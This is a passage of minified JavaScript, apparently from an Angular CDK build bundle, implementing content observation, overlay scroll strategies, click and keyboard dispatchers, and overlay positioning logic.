this._observedElements.get(z).stream}_unobserveElement(z){this._observedElements.has(z)&&(this._observedElements.get(z).count--,this._observedElements.get(z).count||this._cleanupObserver(z))}_cleanupObserver(z){if(this._observedElements.has(z)){const{observer:H,stream:j}=this._observedElements.get(z);H&&H.disconnect(),j.complete(),this._observedElements.delete(z)}}}return g.\\u0275fac=function(z){return new(z||g)(a.LFG(f))},g.\\u0275prov=a.Yz7({token:g,factory:g.\\u0275fac,providedIn:"root"}),g})(),_=(()=>{class g{constructor(z,H,j){this._contentObserver=z,this._elementRef=H,this._ngZone=j,this.event=new a.vpe,this._disabled=!1,this._currentSubscription=null}get disabled(){return this._disabled}set disabled(z){this._disabled=(0,n.Ig)(z),this._disabled?this._unsubscribe():this._subscribe()}get debounce(){return this._debounce}set debounce(z){this._debounce=(0,n.su)(z),this._subscribe()}ngAfterContentInit(){!this._currentSubscription&&!this.disabled&&this._subscribe()}ngOnDestroy(){this._unsubscribe()}_subscribe(){this._unsubscribe();const z=this._contentObserver.observe(this._elementRef);this._ngZone.runOutsideAngular(()=>{this._currentSubscription=(this.debounce?z.pipe((0,c.b)(this.debounce)):z).subscribe(this.event)})}_unsubscribe(){this._currentSubscription?.unsubscribe()}}return g.\\u0275fac=function(z){return new(z||g)(a.Y36(E),a.Y36(a.SBq),a.Y36(a.R0b))},g.\\u0275dir=a.lG2({type:g,selectors:[["","cdkObserveContent",""]],inputs:{disabled:["cdkObserveContentDisabled","disabled"],debounce:"debounce"},outputs:{event:"cdkObserveContent"},exportAs:["cdkObserveContent"]}),g})(),S=(()=>{class g{}return g.\\u0275fac=function(z){return new(z||g)},g.\\u0275mod=a.oAB({type:g}),g.\\u0275inj=a.cJS({providers:[f]}),g})()},8184:(At,ae,d)=>{"use strict";d.d(ae,{Iu:()=>Ke,U8:()=>Pt,X_:()=>q,Xj:()=>qe,_G:()=>ze,aV:()=>R,pI:()=>Je,xu:()=>ct});var n=d(7261),a=d(6895),s=d(4650),u=d(1281),c=d(3353),f=d(445),E=d(4080),_=d(8929),S=d(2654),g=d(6787),C=d(2986),z=d(7625),H=d(4290),j=d(9521);const U=(0,c.Mq)();class G{constructor(x,m){this._viewportRuler=x,this._previousHTMLStyles={top:"",left:""},this._isEnabled=!1,this._document=m}attach(){}enable(){if(this._canBeEnabled()){const x=this._document.documentElement;this._previousScrollPosition=this._viewportRuler.getViewportScrollPosition(),this._previousHTMLStyles.left=x.style.left||"",this._previousHTMLStyles.top=x.style.top||"",x.style.left=(0,u.HM)(-this._previousScrollPosition.left),x.style.top=(0,u.HM)(-this._previousScrollPosition.top),x.classList.add("cdk-global-scrollblock"),this._isEnabled=!0}}disable(){if(this._isEnabled){const x=this._document.documentElement,b=x.style,B=this._document.body.style,ie=b.scrollBehavior||"",Xe=B.scrollBehavior||"";this._isEnabled=!1,b.left=this._previousHTMLStyles.left,b.top=this._previousHTMLStyles.top,x.classList.remove("cdk-global-scrollblock"),U&&(b.scrollBehavior=B.scrollBehavior="auto"),window.scroll(this._previousScrollPosition.left,this._previousScrollPosition.top),U&&(b.scrollBehavior=ie,B.scrollBehavior=Xe)}}_canBeEnabled(){if(this._document.documentElement.classList.contains("cdk-global-scrollblock")||this._isEnabled)return!1;const m=this._document.body,b=this._viewportRuler.getViewportSize();return m.scrollHeight>b.height||m.scrollWidth>b.width}}class oe{constructor(x,m,b,B){this._scrollDispatcher=x,this._ngZone=m,this._viewportRuler=b,this._config=B,this._scrollSubscription=null,this._detach=()=>{this.disable(),this._overlayRef.hasAttached()&&this._ngZone.run(()=>this._overlayRef.detach())}}attach(x){this._overlayRef=x}enable(){if(this._scrollSubscription)return;const x=this._scrollDispatcher.scrolled(0);this._config&&this._config.threshold&&this._config.threshold>1?(this._initialScrollPosition=this._viewportRuler.getViewportScrollPosition().top,this._scrollSubscription=x.subscribe(()=>{const m=this._viewportRuler.getViewportScrollPosition().top;Math.abs(m-this._initialScrollPosition)>this._config.threshold?this._detach():this._overlayRef.updatePosition()})):this._scrollSubscription=x.subscribe(this._detach)}disable(){this._scrollSubscription&&(this._scrollSubscription.unsubscribe(),this._scrollSubscription=null)}detach(){this.disable(),this._overlayRef=null}}class Ce{enable(){}disable(){}attach(){}}function k(te,x){return x.some(m=>te.bottom<m.top||te.top>m.bottom||te.right<m.left||te.left>m.right)}function K(te,x){return x.some(m=>te.top<m.top||te.bottom>m.bottom||te.left<m.left||te.right>m.right)}class se{constructor(x,m,b,B){this._scrollDispatcher=x,this._viewportRuler=m,this._ngZone=b,this._config=B,this._scrollSubscription=null}attach(x){this._overlayRef=x}enable(){this._scrollSubscription||(this._scrollSubscription=this._scrollDispatcher.scrolled(this._config?this._config.scrollThrottle:0).subscribe(()=>{if(this._overlayRef.updatePosition(),this._config&&this._config.autoClose){const m=this._overlayRef.overlayElement.getBoundingClientRect(),{width:b,height:B}=this._viewportRuler.getViewportSize();k(m,[{width:b,height:B,bottom:B,right:b,top:0,left:0}])&&(this.disable(),this._ngZone.run(()=>this._overlayRef.detach()))}}))}disable(){this._scrollSubscription&&(this._scrollSubscription.unsubscribe(),this._scrollSubscription=null)}detach(){this.disable(),this._overlayRef=null}}let ee=(()=>{class te{constructor(m,b,B,ie){this._scrollDispatcher=m,this._viewportRuler=b,this._ngZone=B,this.noop=()=>new Ce,this.close=Xe=>new oe(this._scrollDispatcher,this._ngZone,this._viewportRuler,Xe),this.block=()=>new G(this._viewportRuler,this._document),this.reposition=Xe=>new se(this._scrollDispatcher,this._viewportRuler,this._ngZone,Xe),this._document=ie}}return te.\\u0275fac=function(m){return new(m||te)(s.LFG(n.mF),s.LFG(n.rL),s.LFG(s.R0b),s.LFG(a.K0))},te.\\u0275prov=s.Yz7({token:te,factory:te.\\u0275fac,providedIn:"root"}),te})();class q{constructor(x){if(this.scrollStrategy=new Ce,this.panelClass="",this.hasBackdrop=!1,this.backdropClass="cdk-overlay-dark-backdrop",this.disposeOnNavigation=!1,x){const m=Object.keys(x);for(const b of m)void 0!==x[b]&&(this[b]=x[b])}}}class je{constructor(x,m){this.connectionPair=x,this.scrollableViewProperties=m}}let Oe=(()=>{class te{constructor(m){this._attachedOverlays=[],this._document=m}ngOnDestroy(){this.detach()}add(m){this.remove(m),this._attachedOverlays.push(m)}remove(m){const b=this._attachedOverlays.indexOf(m);b>-1&&this._attachedOverlays.splice(b,1),0===this._attachedOverlays.length&&this.detach()}}return te.\\u0275fac=function(m){return new(m||te)(s.LFG(a.K0))},te.\\u0275prov=s.Yz7({token:te,factory:te.\\u0275fac,providedIn:"root"}),te})(),Qe=(()=>{class te extends Oe{constructor(m,b){super(m),this._ngZone=b,this._keydownListener=B=>{const ie=this._attachedOverlays;for(let Xe=ie.length-1;Xe>-1;Xe--)if(ie[Xe]._keydownEvents.observers.length>0){const it=ie[Xe]._keydownEvents;this._ngZone?this._ngZone.run(()=>it.next(B)):it.next(B);break}}}add(m){super.add(m),this._isAttached||(this._ngZone?this._ngZone.runOutsideAngular(()=>this._document.body.addEventListener("keydown",this._keydownListener)):this._document.body.addEventListener("keydown",this._keydownListener),this._isAttached=!0)}detach(){this._isAttached&&(this._document.body.removeEventListener("keydown",this._keydownListener),this._isAttached=!1)}}return te.\\u0275fac=function(m){return new(m||te)(s.LFG(a.K0),s.LFG(s.R0b,8))},te.\\u0275prov=s.Yz7({token:te,factory:te.\\u0275fac,providedIn:"root"}),te})(),Ye=(()=>{class te extends Oe{constructor(m,b,B){super(m),this._platform=b,this._ngZone=B,this._cursorStyleIsSet=!1,this._pointerDownListener=ie=>{this._pointerDownEventTarget=(0,c.sA)(ie)},this._clickListener=ie=>{const Xe=(0,c.sA)(ie),it="click"===ie.type&&this._pointerDownEventTarget?this._pointerDownEventTarget:Xe;this._pointerDownEventTarget=null;const wt=this._attachedOverlays.slice();for(let Vt=wt.length-1;Vt>-1;Vt--){const Gt=wt[Vt];if(Gt._outsidePointerEvents.observers.length<1||!Gt.hasAttached())continue;if(Gt.overlayElement.contains(Xe)||Gt.overlayElement.contains(it))break;const qt=Gt._outsidePointerEvents;this._ngZone?this._ngZone.run(()=>qt.next(ie)):qt.next(ie)}}}add(m){if(super.add(m),!this._isAttached){const b=this._document.body;this._ngZone?this._ngZone.runOutsideAngular(()=>this._addEventListeners(b)):this._addEventListeners(b),this._platform.IOS&&!this._cursorStyleIsSet&&(this._cursorOriginalValue=b.style.cursor,b.style.cursor="pointer",this._cursorStyleIsSet=!0),this._isAttached=!0}}detach(){if(this._isAttached){const m=this._document.body;m.removeEventListener("pointerdown",this._pointerDownListener,!0),m.removeEventListener("click",this._clickListener,!0),m.removeEventListener("auxclick",this._clickListener,!0),m.removeEventListener("contextmenu",this._clickListener,!0),this._platform.IOS&&this._cursorStyleIsSet&&(m.style.cursor=this._cursorOriginalValue,this._cursorStyleIsSet=!1),this._isAttached=!1}}_addEventListeners(m){m.addEventListener("pointerdown",this._pointerDownListener,!0),m.addEventListener("click",this._clickListener,!0),m.addEventListener("auxclick",this._clickListener,!0),m.addEventListener("contextmenu",this._clickListener,!0)}}return te.\\u0275fac=function(m){return new(m||te)(s.LFG(a.K0),s.LFG(c.t4),s.LFG(s.R0b,8))},te.\\u0275prov=s.Yz7({token:te,factory:te.\\u0275fac,providedIn:"root"}),te})(),qe=(()=>{class te{constructor(m,b){this._platform=b,this._document=m}ngOnDestroy(){this._containerElement?.remove()}getContainerElement(){return this._containerElement||this._createContainer(),this._containerElement}_createContainer(){const m="cdk-overlay-container";if(this._platform.isBrowser||(0,c.Oy)()){const B=this._document.querySelectorAll(`.${m}[platform="server"], .${m}[platform="test"]`);for(let ie=0;ie<B.length;ie++)B[ie].remove()}const b=this._document.createElement("div");b.classList.add(m),(0,c.Oy)()?b.setAttribute("platform","test"):this._platform.isBrowser||b.setAttribute("platform","server"),this._document.body.appendChild(b),this._containerElement=b}}return te.\\u0275fac=function(m){return new(m||te)(s.LFG(a.K0),s.LFG(c.t4))},te.\\u0275prov=s.Yz7({token:te,factory:te.\\u0275fac,providedIn:"root"}),te})();class Ke{constructor(x,m,b,B,ie,Xe,it,wt,Vt,Gt=!1){this._portalOutlet=x,this._host=m,this._pane=b,this._config=B,this._ngZone=ie,this._keyboardDispatcher=Xe,this._document=it,this._location=wt,this._outsideClickDispatcher=Vt,this._animationsDisabled=Gt,this._backdropElement=null,this._backdropClick=new _.xQ,this._attachments=new _.xQ,this._detachments=new _.xQ,this._locationChanges=S.w.EMPTY,this._backdropClickHandler=qt=>this._backdropClick.next(qt),this._backdropTransitionendHandler=qt=>{this._disposeBackdrop(qt.target)},this._keydownEvents=new _.xQ,this._outsidePointerEvents=new _.xQ,B.scrollStrategy&&(this._scrollStrategy=B.scrollStrategy,this._scrollStrategy.attach(this)),this._positionStrategy=B.positionStrategy}get overlayElement(){return this._pane}get backdropElement(){return this._backdropElement}get hostElement(){return this._host}attach(x){!this._host.parentElement&&this._previousHostParent&&this._previousHostParent.appendChild(this._host);const m=this._portalOutlet.attach(x);return this._positionStrategy&&this._positionStrategy.attach(this),this._updateStackingOrder(),this._updateElementSize(),this._updateElementDirection(),this._scrollStrategy&&this._scrollStrategy.enable(),this._ngZone.onStable.pipe((0,C.q)(1)).subscribe(()=>{this.hasAttached()&&this.updatePosition()}),this._togglePointerEvents(!0),this._config.hasBackdrop&&this._attachBackdrop(),this._config.panelClass&&this._toggleClasses(this._pane,this._config.panelClass,!0),this._attachments.next(),this._keyboardDispatcher.add(this),this._config.disposeOnNavigation&&(this._locationChanges=this._location.subscribe(()=>this.dispose())),this._outsideClickDispatcher.add(this),"function"==typeof m?.onDestroy&&m.onDestroy(()=>{this.hasAttached()&&this._ngZone.runOutsideAngular(()=>Promise.resolve().then(()=>this.detach()))}),m}detach(){if(!this.hasAttached())return;this.detachBackdrop(),this._togglePointerEvents(!1),this._positionStrategy&&this._positionStrategy.detach&&this._positionStrategy.detach(),this._scrollStrategy&&this._scrollStrategy.disable();const x=this._portalOutlet.detach();return this._detachments.next(),this._keyboardDispatcher.remove(this),this._detachContentWhenStable(),this._locationChanges.unsubscribe(),this._outsideClickDispatcher.remove(this),x}dispose(){const x=this.hasAttached();this._positionStrategy&&this._positionStrategy.dispose(),this._disposeScrollStrategy(),this._disposeBackdrop(this._backdropElement),this._locationChanges.unsubscribe(),this._keyboardDispatcher.remove(this),this._portalOutlet.dispose(),this._attachments.complete(),this._backdropClick.complete(),this._keydownEvents.complete(),this._outsidePointerEvents.complete(),this._outsideClickDispatcher.remove(this),this._host?.remove(),this._previousHostParent=this._pane=this._host=null,x&&this._detachments.next(),this._detachments.complete()}hasAttached(){return this._portalOutlet.hasAttached()}backdropClick(){return this._backdropClick}attachments(){return this._attachments}detachments(){return this._detachments}keydownEvents(){return this._keydownEvents}outsidePointerEvents(){return this._outsidePointerEvents}getConfig(){return this._config}updatePosition(){this._positionStrategy&&this._positionStrategy.apply()}updatePositionStrategy(x){x!==this._positionStrategy&&(this._positionStrategy&&this._positionStrategy.dispose(),this._positionStrategy=x,this.hasAttached()&&(x.attach(this),this.updatePosition()))}updateSize(x){this._config={...this._config,...x},this._updateElementSize()}setDirection(x){this._config={...this._config,direction:x},this._updateElementDirection()}addPanelClass(x){this._pane&&this._toggleClasses(this._pane,x,!0)}removePanelClass(x){this._pane&&this._toggleClasses(this._pane,x,!1)}getDirection(){const x=this._config.direction;return x?"string"==typeof x?x:x.value:"ltr"}updateScrollStrategy(x){x!==this._scrollStrategy&&(this._disposeScrollStrategy(),this._scrollStrategy=x,this.hasAttached()&&(x.attach(this),x.enable()))}_updateElementDirection(){this._host.setAttribute("dir",this.getDirection())}_updateElementSize(){if(!this._pane)return;const x=this._pane.style;x.width=(0,u.HM)(this._config.width),x.height=(0,u.HM)(this._config.height),x.minWidth=(0,u.HM)(this._config.minWidth),x.minHeight=(0,u.HM)(this._config.minHeight),x.maxWidth=(0,u.HM)(this._config.maxWidth),x.maxHeight=(0,u.HM)(this._config.maxHeight)}_togglePointerEvents(x){this._pane.style.pointerEvents=x?"":"none"}_attachBackdrop(){const x="cdk-overlay-backdrop-showing";this._backdropElement=this._document.createElement("div"),this._backdropElement.classList.add("cdk-overlay-backdrop"),this._animationsDisabled&&this._backdropElement.classList.add("cdk-overlay-backdrop-noop-animation"),this._config.backdropClass&&this._toggleClasses(this._backdropElement,this._config.backdropClass,!0),this._host.parentElement.insertBefore(this._backdropElement,this._host),this._backdropElement.addEventListener("click",this._backdropClickHandler),!this._animationsDisabled&&typeof requestAnimationFrame<"u"?this._ngZone.runOutsideAngular(()=>{requestAnimationFrame(()=>{this._backdropElement&&this._backdropElement.classList.add(x)})}):this._backdropElement.classList.add(x)}_updateStackingOrder(){this._host.nextSibling&&this._host.parentNode.appendChild(this._host)}detachBackdrop(){const x=this._backdropElement;if(x){if(this._animationsDisabled)return void this._disposeBackdrop(x);x.classList.remove("cdk-overlay-backdrop-showing"),this._ngZone.runOutsideAngular(()=>{x.addEventListener("transitionend",this._backdropTransitionendHandler)}),x.style.pointerEvents="none",this._backdropTimeout=this._ngZone.runOutsideAngular(()=>setTimeout(()=>{this._disposeBackdrop(x)},500))}}_toggleClasses(x,m,b){const B=(0,u.Eq)(m||[]).filter(ie=>!!ie);B.length&&(b?x.classList.add(...B):x.classList.remove(...B))}_detachContentWhenStable(){this._ngZone.runOutsideAngular(()=>{const x=this._ngZone.onStable.pipe((0,z.R)((0,g.T)(this._attachments,this._detachments))).subscribe(()=>{(!this._pane||!this._host||0===this._pane.children.length)&&(this._pane&&this._config.panelClass&&this._toggleClasses(this._pane,this._config.panelClass,!1),this._host&&this._host.parentElement&&(this._previousHostParent=this._host.parentElement,this._host.remove()),x.unsubscribe())})})}_disposeScrollStrategy(){const x=this._scrollStrategy;x&&(x.disable(),x.detach&&x.detach())}_disposeBackdrop(x){x&&(x.removeEventListener("click",this._backdropClickHandler),x.removeEventListener("transitionend",this._backdropTransitionendHandler),x.remove(),this._backdropElement===x&&(this._backdropElement=null)),this._backdropTimeout&&(clearTimeout(this._backdropTimeout),this._backdropTimeout=void 0)}}const dt="cdk-overlay-connected-position-bounding-box",bt=/([A-Za-z%]+)$/;class ze{constructor(x,m,b,B,ie){this._viewportRuler=m,this._document=b,this._platform=B,this._overlayContainer=ie,this._lastBoundingBoxSize={width:0,height:0},this._isPushed=!1,this._canPush=!0,this._growAfterOpen=!1,this._hasFlexibleDimensions=!0,this._positionLocked=!1,this._viewportMargin=0,this._scrollables=[],this._preferredPositions=[],this._positionChanges=new _.xQ,this._resizeSubscription=S.w.EMPTY,this._offsetX=0,this._offsetY=0,this._appliedPanelClasses=[],this.positionChanges=this._positionChanges,this.setOrigin(x)}get positions(){return this._preferredPositions}attach(x){this._validatePositions(),x.hostElement.classList.add(dt),this._overlayRef=x,this._boundingBox=x.hostElement,this._pane=x.overlayElement,this._isDisposed=!1,this._isInitialRender=!0,this._lastPosition=null,this._resizeSubscription.unsubscribe(),this._resizeSubscription=this._viewportRuler.change().subscribe(()=>{this._isInitialRender=!0,this.apply()})}apply(){if(this._isDisposed||!this._platform.isBrowser)return;if(!this._isInitialRender&&this._positionLocked&&this._lastPosition)return void this.reapplyLastPosition();this._clearPanelClasses(),this._resetOverlayElementStyles(),this._resetBoundingBoxStyles(),this._viewportRect=this._getNarrowedViewportRect(),this._originRect=this._getOriginRect(),this._overlayRect=this._pane.getBoundingClientRect(),this._containerRect=this._overlayContainer.getContainerElement().getBoundingClientRect();const x=this._originRect,m=this._overlayRect,b=this._viewportRect,B=this._containerRect,ie=[];let Xe;for(let it of this._preferredPositions){let wt=this._getOriginPoint(x,B,it),Vt=this._getOverlayPoint(wt,m,it),Gt=this._getOverlayFit(Vt,m,b,it);if(Gt.isCompletelyWithinViewport)return this._isPushed=!1,void this._applyPosition(it,wt);this._canFitWithFlexibleDimensions(Gt,Vt,b)?ie.push({position:it,origin:wt,overlayRect:m,boundingBoxRect:this._calculateBoundingBoxRect(wt,it)}):(!Xe||Xe.overlayFit.visibleArea<Gt.visibleArea)&&(Xe={overlayFit:Gt,overlayPoint:Vt,originPoint:wt,position:it,overlayRect:m})}if(ie.length){let it=null,wt=-1;for(const Vt of ie){const Gt=Vt.boundingBoxRect.width*Vt.boundingBoxRect.height*(Vt.position.weight||1);Gt>wt&&(wt=Gt,it=Vt)}return this._isPushed=!1,void this._applyPosition(it.position,it.origin)}if(this._canPush)return this._isPushed=!0,void this._applyPosition(Xe.position,Xe.originPoint);this._applyPosition(Xe.position,Xe.originPoint)}detach(){this._clearPanelClasses(),this._lastPosition=null,this._previousPushAmount=null,this._resizeSubscription.unsubscribe()}dispose(){this._isDisposed||(this._boundingBox&&De(this._boundingBox.style,{top:"",left:"",right:"",bottom:"",height:"",width:"",alignItems:"",justifyContent:""}),this._pane&&this._resetOverlayElementStyles(),this._overlayRef&&this._overlayRef.hostElement.classList.remove(dt),this.detach(),this._positionChanges.complete(),this._overlayRef=this._boundingBox=null,this._isDisposed=!0)}reapplyLastPosition(){if(this._isDisposed||!this._platform.isBrowser)return;const x=this._lastPosition;if(x){this._originRect=this._getOriginRect(),this._overlayRect=this._pane.getBoundingClientRect(),this._viewportRect=this._getNarrowedViewportRect(),this._containerRect=this._overlayContainer.getContainerElement().getBoundingClientRect();const m=this._getOriginPoint(this._originRect,this._containerRect,x);this._applyPosition(x,m)}else this.apply()}withScrollableContainers(x){return this._scrollables=x,this}withPositions(x){return this._preferredPositions=x,-1===x.indexOf(this._lastPosition)&&(this._lastPosition=null),this._validatePositions(),this}withViewportMargin(x){return this._viewportMargin=x,this}withFlexibleDimensions(x=!0){return this._hasFlexibleDimensions=x,this}withGrowAfterOpen(x=!0){return this._growAfterOpen=x,this}withPush(x=!0){return this._canPush=x,this}withLockedPosition(x=!0){return this._positionLocked=x,this}setOrigin(x){return this._origin=x,this}withDefaultOffsetX(x){return this._offsetX=x,this}withDefaultOffsetY(x){return this._offsetY=x,this}withTransformOriginOn(x){return this._transformOriginSelector=x,this}_getOriginPoint(x,m,b){let B,ie;if("center"==b.originX)B=x.left+x.width/2;else{const Xe=this._isRtl()?x.right:x.left,it=this._isRtl()?x.left:x.right;B="start"==b.originX?Xe:it}return m.left<0&&(B-=m.left),ie="center"==b.originY?x.top+x.height/2:"top"==b.originY?x.top:x.bottom,m.top<0&&(ie-=m.top),{x:B,y:ie}}_getOverlayPoint(x,m,b){let B,ie;return B="center"==b.overlayX?-m.width/2:"start"===b.overlayX?this._isRtl()?-m.width:0:this._isRtl()?0:-m.width,ie="center"==b.overlayY?-m.height/2:"top"==b.overlayY?0:-m.height,{x:x.x+B,y:x.y+ie}}_getOverlayFit(x,m,b,B){const ie=ve(m);let{x:Xe,y:it}=x,wt=this._getOffset(B,"x"),Vt=this._getOffset(B,"y");wt&&(Xe+=wt),Vt&&(it+=Vt);let u1=0-it,c1=it+ie.height-b.height,It=this._subtractOverflows(ie.width,0-Xe,Xe+ie.width-b.width),_t=this._subtractOverflows(ie.height,u1,c1),kt=It*_t;return{visibleArea:kt,isCompletelyWithinViewport:ie.width*ie.height===kt,fitsInViewportVertically:_t===ie.height,fitsInViewportHorizontally:It==ie.width}}_canFitWithFlexibleDimensions(x,m,b){if(this._hasFlexibleDimensions){const B=b.bottom-m.y,ie=b.right-m.x,Xe=re(this._overlayRef.getConfig().minHeight),it=re(this._overlayRef.getConfig().minWidth);return(x.fitsInViewportVertically||null!=Xe&&Xe<=B)&&(x.fitsInViewportHorizontally||null!=it&&it<=ie)}return!1}_pushOverlayOnScreen(x,m,b){if(this._previousPushAmount&&this._positionLocked)return{x:x.x+this._previousPushAmount.x,y:x.y+this._previousPushAmount.y};const B=ve(m),ie=this._viewportRect,Xe=Math.max(x.x+B.width-ie.width,0),it=Math.max(x.y+B.height-ie.height,0),wt=Math.max(ie.top-b.top-x.y,0),Vt=Math.max(ie.left-b.left-x.x,0);let Gt=0,qt=0;return Gt=B.width<=ie.width?Vt||-Xe:x.x<this._viewportMargin?ie.left-b.left-x.x:0,qt=B.height<=ie.height?wt||-it:x.y<this._viewportMargin?ie.top-b.top-x.y:0,this._previousPushAmount={x:Gt,y:qt},{x:x.x+Gt,y:x.y+qt}}_applyPosition(x,m){if(this._setTransformOrigin(x),this._setOverlayElementStyles(m,x),this._setBoundingBoxStyles(m,x),x.panelClass&&this._addPanelClasses(x.panelClass),this._lastPosition=x,this._positionChanges.observers.length){const b=this._getScrollVisibility(),B=new je(x,b);this._positionChanges.next(B)}this._isInitialRender=!1}_setTransformOrigin(x){if(!this._transformOriginSelector)return;const m=this._boundingBox.querySelectorAll(this._transformOriginSelector);let b,B=x.overlayY;b="center"===x.overlayX?"center":this._isRtl()?"start"===x.overlayX?"right":"left":"start"===x.overlayX?"left":"right";for(let ie=0;ie<m.length;ie++)m[ie].style.transformOrigin=`${b} ${B}`}_calculateBoundingBoxRect(x,m){const b=this._viewportRect,B=this._isRtl();let ie,Xe,it,Gt,qt,u1;if("top"===m.overlayY)Xe=x.y,ie=b.height-Xe+this._viewportMargin;else if("bottom"===m.overlayY)it=b.height-x.y+2*this._viewportMargin,ie=b.height-it+this._viewportMargin;else{const c1=Math.min(b.bottom-x.y+b.top,x.y),It=this._lastBoundingBoxSize.height;ie=2*c1,Xe=x.y-c1,ie>It&&!this._isInitialRender&&!this._growAfterOpen&&(Xe=x.y-It/2)}if("end"===m.overlayX&&!B||"start"===m.overlayX&&B)u1=b.width-x.x+this._viewportMargin,Gt=x.x-this._viewportMargin;else if("start"===m.overlayX&&!B||"end"===m.overlayX&&B)qt=x.x,Gt=b.right-x.x;else{const c1=Math.min(b.right-x.x+b.left,x.x),It=this._lastBoundingBoxSize.width;Gt=2*c1,qt=x.x-c1,Gt>It&&!this._isInitialRender&&!this._growAfterOpen&&(qt=x.x-It/2)}return{top:Xe,left:qt,bottom:it,right:u1,width:Gt,height:ie}}_setBoundingBoxStyles(x,m){const b=this._calculateBoundingBoxRect(x,m);!this._isInitialRender&&!this._growAfterOpen&&(b.height=Math.min(b.height,this._lastBoundingBoxSize.height),b.width=Math.min(b.width,this._lastBoundingBoxSize.width));const B={};if(this._hasExactPosition())B.top=B.left="0",B.bottom=B.right=B.maxHeight=B.maxWidth="",B.width=B.height="100%";else{const ie=this._overlayRef.getConfig().maxHeight,Xe=this._overlayRef.getConfig().maxWidth;B.height=(0,u.HM)(b.height),B.top=(0,u.HM)(b.top),B.bottom=(0,u.HM)(b.bottom),B.width=(0,u.HM)(b.width),B.left=(0,u.HM)(b.left),B.right=(0,u.HM)(b.right),B.alignItems="center"===m.overlayX?"center":"end"===m.overlayX?"flex-end":"flex-start",B.justifyContent="center"===m.overlayY?"center":"bottom"===m.overlayY?"flex-end":"flex-start",ie&&(B.maxHeight=(0,u.HM)(ie)),Xe&&(B.maxWidth=(0,u.HM)(Xe))}this._lastBoundingBoxSize=b,De(this._boundingBox.style,B)}_resetBoundingBoxStyles(){De(this._boundingBox.style,{top:"0",left:"0",right:"0",bottom:"0",height:"",width:"",alignItems:"",justifyContent:""})}_resetOverlayElementStyles(){De(this._pane.style,{top:"",left:"",bottom:"",right:"",position:"",transform:""})}_setOverlayElementStyles(x,m){const b={},B=this._hasExactPosition(),ie=this._hasFlexibleDimensions,Xe=this._overlayRef.getConfig();if(B){const Gt=this._viewportRuler.getViewportScrollPosition();De(b,this._getExactOverlayY(m,x,Gt)),De(b,this._getExactOverlayX(m,x,Gt))}else b.position="static";let it="",wt=this._getOffset(m,"x"),Vt=this._getOffset(m,"y");wt&&(it+=`translateX(${wt}px) `),Vt&&(it+=`translateY(${Vt}px)`),b.transform=it.trim(),Xe.maxHeight&&(B?b.maxHeight=(0,u.HM)(Xe.maxHeight):ie&&(b.maxHeight="")),Xe.maxWidth&&(B?b.maxWidth=(0,u.HM)(Xe.maxWidth):ie&&(b.maxWidth="")),De(this._pane.style,b)}_getExactOverlayY(x,m,b){let B={top:"",bottom:""},ie=this._getOverlayPoint(m,this._overlayRect,x);return this._isPushed&&(ie=this._pushOverlayOnScreen(ie,this._overlayRect,b)),"bottom"===x.overlayY?B.bottom=this._document.documentElement.clientHeight-(ie.y+this._overlayRect.height)+"px":B.top=(0,u.HM)(ie.y),B}_getExactOverlayX(x,m,b){let Xe,B={left:"",right:""},ie=this._getOverlayPoint(m,this._overlayRect,x);return this._isPushed&&(ie=this._pushOverlayOnScreen(ie,this._overlayRect,b)),Xe=this._isRtl()?"end"===x.overlayX?"left":"right":"end"===x.overlayX?"right":"left","right"===Xe?B.right=this._document.documentElement.clientWidth-(ie.x+this._overlayRect.width)+"px":B.left=(0,u.HM)(ie.x),B}_getScrollVisibility(){const x=this._getOriginRect(),m=this._pane.getBoundingClientRect(),b=this._scrollables.map(B=>B.getElementRef().nativeElement.getBoundingClientRect());return{isOriginClipped:K(x,b),isOriginOutsideView:k(x,b),isOverlayClipped:K(m,b),isOverlayOutsideView:k(m,b)}}_subtractOverflows(x,...m){return m.reduce((b,B)=>b-Math.max(B,0),x)}_getNarrowedViewportRect(){const x=this._document.documentElement.clientWidth,m=this._document.documentElement.clientHeight,b=this._viewportRuler.getViewportScrollPosition();return{top:b.top+this._viewportMargin,left:b.left+this._viewportMargin,right:b.left+x-this._viewportMargin,bottom:b.top+m-this._viewportMargin,width:x-2*this._viewportMargin,height:m-2*this._viewportMargin}}_isRtl(){return"rtl"===this._overlayRef.getDirection()}_hasExactPosition(){return!this._hasFlexibleDimensions||this._isPushed}_getOffset(x,m){return"x"===m?null==x.offsetX?this._offsetX:x.offsetX:null==x.offsetY?this._offsetY:x.offsetY}_validatePositions(){}_addPanelClasses(x){this._pane&&(0,u.Eq)(x).forEach(m=>{""!==m&&-1===this._appliedPanelClasses.indexOf(m)&&(this._appliedPanelClasses.push(m),this._pane.classList.add(m))})}_clearPanelClasses(){this._pane&&(this._appliedPanelClasses.forEach(x=>{this._pane.classList.remove(x)}),this._appliedPanelClasses=[])}_getOriginRect(){const x=this._origin;if(x instanceof s.SBq)return x.nativeElement.getBoundingClientRect();if(x instanceof Element)return x.getBoundingClientRect();const m=x.width||0,b=x.height||0;return{top:x.y,bottom:x.y+b,left:x.x,right:x.x+m,height:b,width:m}}}function De(te,x){for(let m in x)x.hasOwnProperty(m)&&(te[m]=x[m]);return te}function re(te){if("number"!=typeof te&&null!=te){const[x,m]=te.split(bt);return m&&"px"!==m?null:parseFloat(x)}return te||null}function ve(te){return{top:Math.floor(te.top),right:Math.floor(te.right),bottom:Math.floor(te.bottom),left:Math.floor(te.left),width:Math.floor(te.width),height:Math.floor(te.height)}}const Be="cdk-global-overlay-wrapper";class pe{constructor(){this._cssPosition="static",this._topOffset="",this._bottomOffset="",this._alignItems="",this._xPosition="",this._xOffset="",this._width="",this._height="",this._isDisposed=!1}attach(x){const m=x.getConfig();this._overlayRef=x,this._width&&!m.width&&x.updateSize({width:this._width}),this._height&&!m.height&&x.updateSize({height:this._height}),x.hostElement.classList.add(Be),this._isDisposed=!1}top(x=""){return this._bottomOffset="",this._topOffset=x,this._alignItems="flex-start",this}left(x=""){return this._xOffset=x,this._xPosition="left",this}bottom(x=""){return this._topOffset="",this._bottomOffset=x,this._alignItems="flex-end",this}right(x=""){return this._xOffset=x,this._xPosition="right",this}start(x=""){return this._xOffset=x,this._xPosition="start",this}end(x=""){return this._xOffset=x,this._xPosition="end",this}width(x=""){return this._overlayRef?this._overlayRef.updateSize({width:x}):this._width=x,this}height(x=""){return this._overlayRef?this._overlayRef.updateSize({height:x}):this._height=x,this}centerHorizontally(x=""){return this.left(x),this._xPosition="center",this}centerVertically(x=""){return this.top(x),this._alignItems="center",this}apply(){if(!this._overlayRef||!this._overlayRef.hasAttached())return;const 